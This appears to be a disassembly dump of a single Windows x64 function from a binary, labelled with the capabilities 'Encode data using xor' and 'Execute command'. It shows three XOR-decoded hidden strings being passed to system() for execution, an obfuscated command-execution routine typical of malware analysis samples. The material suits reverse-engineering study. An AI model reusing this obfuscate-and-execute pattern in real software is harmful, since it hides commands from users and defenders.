Function at 0x14005d170
Capabilities:
Encode data using xor
Execute command

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rdi
push rbp
lea rbp, [rax - 0x18]
sub rsp, 0x110
mov ecx, 0xfffffff5
movaps xmmword [rax - 0x18], xmm6
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
movups xmm0, xmmword [0x140139340]
xor ebx, ebx
movups xmm1, xmmword [0x140139350]
mov r8d, ebx
mov edi, dword [reloc.WS2_32.dll_accept]
movdqa xmm6, xmmword [0x14013c340]
movups xmmword [rsp + 0x70], xmm0
movups xmm0, xmmword [0x140139360]
movups xmmword [rbp - 0x70], xmm0
movups xmm0, xmmword [0x140139380]
movups xmmword [rbp - 0x80], xmm1
movups xmm1, xmmword [0x140139370]
movups xmmword [rbp - 0x50], xmm0
movups xmm0, xmmword [0x1401393a0]
movups xmmword [rbp - 0x60], xmm1
movups xmm1, xmmword [0x140139390]
movups xmmword [rbp - 0x30], xmm0
movsd xmm0, qword [0x1401393c0]
movups xmmword [rbp - 0x40], xmm1
movups xmm1, xmmword [0x1401393b0]
movsd qword [rbp - 0x10], xmm0
movups xmmword [rbp - 0x20], xmm1
cmp edi, 2
jl 0x14005d336
movdqa xmm0, xmmword [0x14013c350]
lea rcx, [rsp + 0x74]
movdqa xmm4, xmmword [0x1400d0dc0]
mov edx, ebx
movdqa xmm3, xmmword [0x14013c470]
movdqa xmm5, xmmword [str.6666]
movdqa xmmword [rsp + 0x20], xmm0
mov r8d, dword [rsp + 0x20]
nop word [rax + rax]
movd xmm2, edx
lea eax, [rdx + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm4
add edx, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm6
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm4
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm6
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp edx, 0x88
jl 0x14005d250
jmp 0x14005d376
lea r9, [rsp + 0x70]
nop dword [rax + rax]
mov eax, 0x2f684bdb
lea r9, [r9 + 1]
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x33
xor byte [r9 - 1], al
cmp r8d, 0x88
jl 0x14005d340
lea rcx, [rsp + 0x70]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movzx eax, word [0x140139400]
mov r8d, ebx
mov word [rsp + 0x68], ax
movups xmm0, xmmword [0x1401393c8]
movups xmm1, xmmword [0x1401393d8]
movups xmmword [rsp + 0x30], xmm0
movups xmm0, xmmword [0x1401393e8]
movups xmmword [rsp + 0x40], xmm1
movups xmmword [rsp + 0x50], xmm0
movsd xmm0, qword [0x1401393f8]
movsd qword [rsp + 0x60], xmm0
cmp edi, 2
jl 0x14005d4e9
movdqa xmm0, xmmword [0x14013c350]
lea rcx, [rsp + 0x34]
movdqa xmm4, xmmword [0x1400d0dc0]
movdqa xmm3, xmmword [0x14013c470]
movdqa xmm5, xmmword [str.6666]
movdqa xmmword [rsp + 0x20], xmm0
mov edx, dword [rsp + 0x20]
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm4
add r8d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm6
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm4
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm6
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x38
jl 0x14005d400
cmp r8d, 0x3a
jge 0x14005d531
movsxd rax, r8d
lea r9, [rsp + 0x30]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x33
xor byte [r9 - 1], al
cmp r8d, 0x3a
jl 0x14005d500
lea rcx, [rsp + 0x30]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov eax, dword [0x140139440]
mov dword [rsp + 0x68], eax
movzx eax, word [0x140139444]
mov word [rsp + 0x6c], ax
movups xmm0, xmmword [0x140139408]
movups xmm1, xmmword [0x140139418]
movups xmmword [rsp + 0x30], xmm0
movups xmm0, xmmword [0x140139428]
movups xmmword [rsp + 0x40], xmm1
movups xmmword [rsp + 0x50], xmm0
movsd xmm0, qword [0x140139438]
movsd qword [rsp + 0x60], xmm0
cmp edi, 2
jl 0x14005d6a4
movdqa xmm0, xmmword [0x14013c350]
lea rcx, [rsp + 0x34]
movdqa xmm4, xmmword [0x1400d0dc0]
movdqa xmm3, xmmword [0x14013c470]
movdqa xmm5, xmmword [str.6666]
movdqa xmmword [rsp + 0x20], xmm0
mov edx, dword [rsp + 0x20]
nop dword [rax]
movd xmm2, ebx
lea eax, [rbx + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm4
add ebx, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm6
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm4
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm6
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp ebx, 0x38
jl 0x14005d5c0
cmp ebx, 0x3e
jge 0x14005d6dd
movsxd rax, ebx
lea r8, [rsp + 0x30]
add r8, rax
nop
mov eax, 0x4bda12f7
lea r8, [r8 + 1]
imul ebx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, bl
inc ebx
sub al, cl
add al, 0x33
xor byte [r8 - 1], al
cmp ebx, 0x3e
jl 0x14005d6b0
lea rcx, [rsp + 0x30]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov edx, 0x2ee
mov ecx, 0x1f4
lea r11, [rsp + 0x110]
mov rbx, qword [r11 + 0x10]
mov rdi, qword [r11 + 0x18]
movaps xmm6, xmmword [r11 - 0x10]
mov rsp, r11
pop rbp
jmp qword [sym.imp.KERNEL32.dll_Beep]